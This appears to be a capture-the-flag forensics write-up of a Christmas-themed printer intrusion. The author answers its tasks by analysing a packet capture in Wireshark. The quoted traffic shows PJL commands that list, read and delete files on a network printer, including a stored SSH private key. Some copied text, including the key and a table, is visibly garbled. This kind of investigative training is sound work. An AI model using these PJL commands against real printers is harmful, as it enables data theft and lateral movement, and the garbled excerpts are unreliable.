

## OpTinselTrace-4 Challenge

## Sherlock Scenario

Printers are important in Santa's workshops, but we haven't really tried to secure them! The Grinch and his team of elite hackers may try and use this against us! Please investigate using the packet capture provided! The printer server IP Address is 192.168.68.128 Please note - these Sherlocks are built to be completed sequentially and in order!

### Task 1:

The performance of the network printer server has become sluggish, causing interruptions in the workflow at the North Pole workshop. Santa has directed us to generate a support request and examine the network data to pinpoint the source of the issue. He suspects that the Grinch and his group may be involved in this situation. Could you verify if there is an IP Address that is sending an excessive

I opened Wireshark and went to the Conversation and filtered by packets and checked the source who sent packets to the IP 192.168.68.128 from the scenario description

Ethernet : 22	IPv4 : 44	IPv6 : 6	TCP : 74	UDP : 84								
Address A	Address B	Packets	Bytes	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Duration	Bits/s A → B	Bits/s B → A	
172.17.79.132	2.16.158.42	1,086	730 kB	527	39 kB	559	691 kB	539.963047	125.0644	2490 bits/s	44 kbps	
172.17.79.132	232.32.128.68	649	424 kB	283	23 kB	366	401.95096348	123.2132	1497 bits/s	26 kbps		
172.17.79.133	192.166.66.128	536	61 kB	267	29 kB	269	32 kB	7140.79678	1110.6147	208 bits/s	227 bits/s	

Answer: 172.17.79.133

### Task 2:

Bytesparkle being the technical Lead, found traces of port scanning from the same IP identified in previous attack. Which port was then targeted for initial compromise of the printer?

I filter for `ip.src == 172.17.79.133 && ip.dst == 192.168.68.128` and a connection to port 9100 which is used for printing

76	7.271646	172.17.79.133	192.168.68.128	TCP	60 46904 → 22 [RST] Seq=1 Win=0 Len=0
77	7.271646	172.17.79.133	192.168.68.128	TCP	60 46904 → 9100 [RST] Seq=1 Win=0 Len=0

Answer: 9100

### Task 3:

What is the full name of printer running on the server?

I filtered for `ip.src == 172.17.79.133 && (tcp.dstport == 9100 || udp.dstport == 9100)`  
Then followed the TCP stream and found the name

```
.%-12345X@PJL INFO ID
NorthPole HP LaserJet 4200n
.@PJL ECHO DELIMITER28409
```

Answer: Northpole HP LaserJet 4200n

#### Task 4:

Grinch intercepted a list of nice and naughty children created by Santa. What was name of the second child on the nice list?

In the same followed TCP stream from task 3 I found the list of names

```

X-12345X@PJL FUSPLOAD FORMAT=BINARY NAME="/christmas/2023/Nice-kids/list1.txt" OFFSET=0 SIZE=100
Jennifer Sanchez
Douglas Price
Joshua Ross
Catherine Bailey
Martha Clark
Ruby Kelly
Edward Parker
Tammy James
Lori Robinson
Wayne Gonzales
@PJL ECHO DELIMITER56482

```

Answer: Douglas Price

### Task 5:

The Grinch obtained a print job instruction file intended for a printer used by an employee named Elfin. It appears that Santa and the North Pole management team have made the decision to dismiss Elfin. Could you please provide the word for word rationale behind the decision to terminate Elfin's employment?

Same followed TCP stream I found the reason

Warning : This print is only meant for Elfin and higher management.

Reason for layoff : The addressed employee is confirmed to be working with grinch and team. According to Clause 69 , This calls for an immediate expulsion.

```
<ESC>&I2A                                     % Perform form feed to eject the page
@PJL EOJ NAME="MerryChristmasJob"
<ESC>%-12345X @PJL ECHO DELIMITER19325
```

```
..%-12345X@PJL FSQUERY NAME="0:/saveDevice"  
@PJL ECHO DELIMITER1940
```

```

.%-12345X.%-12345X@PJL FSQUERY NAME="0:/saveDevice/SavedJobs/InProgress"
@PJL ECHO DELIMITER14883

```

.-12345X

Answer: The addressed employee is confirmed to be working with grinch and team. According to Clause 69 , This calls for an immediate expulsion.

Task 6:  
What was the name of the scheduled print job?

I followed some more TCP stream and filtering for ip.src == 172.17.79.133 && ip.dst == 192.168.68.128 and found another logs

```
..%-12345X@P3L FSQUERY NAME="/0:/PostScript/ScheduledJobs/Announcement-25Dec.ps"
@P3L ECHO DELIMITER30715

..%-12345X@P3L FSQUERY NAME="/0:/PostScript/ScheduledJobs/Announcement-25Dec.ps" TYPE=FILE SIZE=570@P3L ECHO DELIMITER30715

..%-12345X@P3L FSUPLOAD NAME="/0:/PostScript/ScheduledJobs/Announcement-25Dec.ps" OFFSET=0 SIZE=570
@P3L ECHO DELIMITER6543

..%-12345X@P3L FSUPLOAD FORMAT=BINARY NAME="/0:/PostScript/ScheduledJobs/Announcement-25Dec.ps" OFFSET=0 SIZE=570
% Start P3L Commands
@P3L J08 NAME="MerryChristmas+BonusAnnouncement"
@P3L ENTER LANGUAGE=POSTSCRIPT
% Start PostScript Commands
```

Answer: MerryChristmas+BonusAnnouncement

Task 7:  
Amidst our ongoing analysis of the current packet capture, the situation has escalated alarmingly. Our security system has detected signs of post-exploitation activities on a highly critical server, which was supposed to be secure with SSH key-only access. This development has raised serious concerns within the security team. While Bytesparkle is investigating the breach, he speculated that this security incident might be connected to the earlier printer issue. Could you determine and provide the complete path of the file on the printer server that enabled the Grinch to laterally move to this critical server?

I filtered for ip.src == 172.17.79.133 && ip.dst == 192.168.68.128 and the scrolled down a little and used follow tcp stream.  
Then I found some logs related to securitykeys and ssh

```
..%-12345X@P3L FSDIRLIST NAME="/0:/Administration" ENTRY=1 COUNT=65535
@P3L ECHO DELIMITER64558

..%-12345X@P3L FSDIRLIST NAME="/0:/Administration" ENTRY=1
. TYPE=DIR
.. TYPE=DIR
securitykeys TYPE=DIR@P3L ECHO DELIMITER64558

..%-12345X@P3L FSDIRLIST NAME="/0:/Administration/securitykeys" ENTRY=1 COUNT=65535
@P3L ECHO DELIMITER5746

..%-12345X@P3L FSDIRLIST NAME="/0:/Administration/securitykeys" ENTRY=1
. TYPE=DIR
.. TYPE=DIR
ssh_systems TYPE=DIR@P3L ECHO DELIMITER5746

..%-12345X@P3L FSDIRLIST NAME="/0:/Administration/securitykeys/ssh_systems" ENTRY=1 COUNT=65535
@P3L ECHO DELIMITER39175

..%-12345X@P3L FSDIRLIST NAME="/0:/Administration/securitykeys/ssh_systems" ENTRY=1
. TYPE=DIR
.. TYPE=DIR
id_rsa TYPE=FILE SIZE=1914@P3L ECHO DELIMITER39175

..%-12345X@P3L FSDELETE NAME="/0:/Administration/securitykeys/ssh_systems/id_rsa"
..%-12345X..%-12345X@P3L FSDIRLIST NAME="/0:/" ENTRY=1 COUNT=65535
@P3L ECHO DELIMITER21367
```

Answer: /Administration/securitykeys/ssh\_systems/id\_rsa

Task 8:  
What is size of this file in bytes?

In the same tcp stream like task 7  
id\_rsa TYPE=FILE SIZE=1914@P3L ECHO DELIMITER39175

Answer: 1914

Task 9:  
What was the hostname of the other compromised critical server?

I kept scrolling down from the TCP stream from task 6 and found the name of the server after some a message

```
..%-12345X@P3L FSUPLOAD FORMAT=BINARY NAME="/0:/Administration/securitykeys/ssh_systems/id_rsa" OFFSET=0 SIZE=1914
#This is a backup key for christmas.gifts server. Bytesparkle recommended me this since in christmas days everything gets mixed up in all the chaos and we can lose our access keys to the server just like we did back in 2022 christmas.
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA21tnkTXIHepgyuutXEm/vOmJCFRv+Vxh20bLJafUj19phz
0c5+3qInP+JEkujy0tkfDrxapQG011WASyup/Tk4HE+yQ6pPFP5PCsFKZc4gPVIUF
SBHyaawhWFLiAib30XbLdJgvJXDY5139tq16Jevr/0Ri1aJ64GJMG25/P+4fum
LxooKq5u4US/LCAgC7K5Im7vgY2/bmf6stgRC0uHHVJ68EvDp2mh3BR3Kj/ol7
0x3VQW@gq835vHnZkGIAwxy+7/bbUccc+qeIX0XBH1e3x7o5RpNwuM6JLhrDp
9YdsdrThx9/12C+ngAXVz6MVEY/1KwR0Qkg1JQIDAQABAoIBAGNE9K8Cem1QdMl
Dum8d3ECgYEA+3u29SP5Pn1cn5P0FCVWb06jHv1K9gPH6oV6sGfQK2vZp9924y
i8LpneBdcv3Iixa8Bmdad9FuY2ky8tlnctm4XE486Yx+HROFzIMLhwJULPNKqw
B9B0ZPQdh56xJkhd3200v8Y06nJUn8jKQ0lufqQVSD15dwLhZvVACBcgVEA3hae
OF3XVIqXtYsp7eEqVZPhY8NaFttHtjyI3mJucJN4kx812f1zL3Ugd89381/bim6
rHq1q4QKXLYxZ1vQnalyfTo4aY8ovT0b831k0bUdeB33UEKhf11mVIGUpDbu
QfXep4cp2iAQ0L0cJqRfHmK7Ug1poeA1Jc2dmgPgVEA2V0ZKgrEzef4kbb47D
fh1046v77FqGvQe8QdN8G1spR3D3D166v4KymzdzCa8eM4atVxLxh2yxRnNcv
6Dn29m7xEGp6wG11aHwIA4Pp+TU8xmLV4Krp6GQr+QHgE3RD8dIQM588bvUQvd
p790nGAR0q1uRQ+5vKknEKcGEAy2xSP/IX01MjBOHUZR55j1J15+EG4K11ud5j
bgTB8ZLL3r4kzrT1c+nh8THfZIGn+Qff7QNHs4CayJatg+vg1uNv607ebvg1AB
ONCK00XyUQEQ77979kOtp9b8bn72e5ct38n0AbuXmKLV0HmXhw127FhwHku
z1Nuz/scgY8u90K3rHrhgTtGtnJ411AjJgrlkvgNGFEAR5aPhvXae14u1ZF
oJEBAl71zC6Dyqohy3u5vAMLOVet1n6f7JTYqVhkvzUKR8s0OKRFng1nJKT
635oDnIXR-GopH5vTyngppmaYr+1tHES/kofduFdcRzXrPx1hmQ=
-----END RSA PRIVATE KEY-----
@P3L ECHO DELIMITER53936
```

Answer: christmas.gifts

Task 10:  
When did the Grinch attempt to delete a file from the printer? (UTC)

I searched for the packet containing the string "FSDELETE" and found the Epoch time 1702037894.344343000

Packet list

Narrow & Wide

☐ Case sensitive

String

FSDELETE

No.	Time	Source	Destination	Protocol	Length	Info
▼	Frame 3676:	144 bytes on wire (1152 bits), 144 bytes captured (1152 bits) on interface \Device\NPF_{B06A14A2-CDC9-4027-873A-6290FF723AC0}, id 0				
	Section number: 1					
	> Interface id: 0 (\Device\NPF_{B06A14A2-CDC9-4027-873A-6290FF723AC0})					
	Encapsulation type: Ethernet (1)					
	Arrival Time: Dec 8, 2023 04:18:14.344343000 Pacific Standard Time					
	[Time shift for this packet: 0.000000000 seconds]					
	Epoch Time: 1702037894.344343000 seconds					
	[Time delta from previous captured frame: 1.220773000 seconds]					
	[Time delta from previous displayed frame: 1.220773000 seconds]					
	[Time since reference or first frame: 1001.607603000 seconds]					

0000 00 50 56 ee c1 2f 00 0c 29 16 1e 03 08 00 45 00 PV...f... ).... E

0010 00 82 89 92 40 00 40 06 b0 24 ac 11 4f 85 c0 a8 ...@ @ \$-O...

0020 44 00 da 6c 23 8c 9f 5b 1c 3a 7d 62 67 b4 50 18 D-1#...k...}bg P

0030 fa 20 64 b7 00 00 1b 25 2d 31 32 33 34 35 50 40 .....% -12345X@

0040 50 4a 4c 20 46 53 44 45 4c 45 54 45 20 4e 41 4d P3L FSDE LETE NAR

0050 45 3d 22 30 3a 2f 41 64 6d 69 6e 69 73 74 72 61 E="0://Ad ministra

0060 74 69 6f 6e 2f 73 65 63 75 72 69 74 79 6b 65 79 tion/sec uritykey

0070 73 2f 73 73 68 5f 73 79 73 74 65 6d 73 2f 69 64 s/ssh\_sy stems/ld

0080 5f 72 73 61 22 0d 8a 1b 25 2d 31 32 33 34 35 50 \_"sa"..."%-12345X

Then I converted it on <https://www.epochconverter.com/>

## Convert epoch to human-readable date and vice versa

1702037894.344343000

Timestamp to Human date

[batch convert]

Supports Unix timestamps in seconds, milliseconds, microseconds and nanoseconds.

Assuming that this timestamp is in **seconds**:

**GMT:** Friday, 8 December 2023 12:18:14.344

**Your time zone:** 14:18:14.344 2023 ב'דצמבר 8, שש"י GMT+02:00

**Relative:** 8 months ago

Answer: 2023-12-08 12:18:14